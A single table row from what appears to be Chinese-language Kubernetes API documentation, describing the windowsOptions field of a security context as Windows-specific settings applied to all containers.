| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | 应用于所有容器的 **Windows 特定设置**。 |